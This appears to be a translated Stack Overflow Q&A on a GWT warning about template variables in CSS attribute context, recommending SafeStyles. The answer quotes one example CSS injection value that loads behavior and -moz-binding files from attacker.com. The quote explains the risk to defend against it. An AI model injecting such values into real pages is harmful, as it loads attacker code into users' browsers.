GWT "Шаблон с переменной в контексте атрибута CSS" Предупреждение это плохо? - PullRequest
5 голосов
/ 16 ноября 2011

Я использую запутанные стили, например.

    <ui:style>
        .explanation {
            text-align: center;
        }
    </ui:style>
...
    <g:HTMLPanel>
        <div class="{style.explanation}">
...

Это плохая практика?

Выглядит нормально, когда я проверяю HTML, или, возможно, я неправильно понимаю предупреждение.*

Я получаю следующее предупреждение в режиме разработки с GWT:

Template with variable in CSS attribute context: 
The template code generator cannot guarantee HTML-safety of the template
 -- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context

1 Ответ

10 голосов
/ 16 ноября 2011

class не является «контекстом атрибута CSS», только style является (и <style>); поэтому я сомневаюсь, что предупреждение исходит из кода, который вы показали (именно так все и должно быть, поэтому совсем не плохая практика).

Предупреждение появляется, когда у вас есть такие вещи, как style='width: {foo}; height: {bar}', потому что нет гарантии (во время компиляции), что foo или bar не будет содержать что-то вроде 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl). В этом случае вам лучше использовать style='{myStyle}', где myStyle - это экземпляр SafeStyles.

...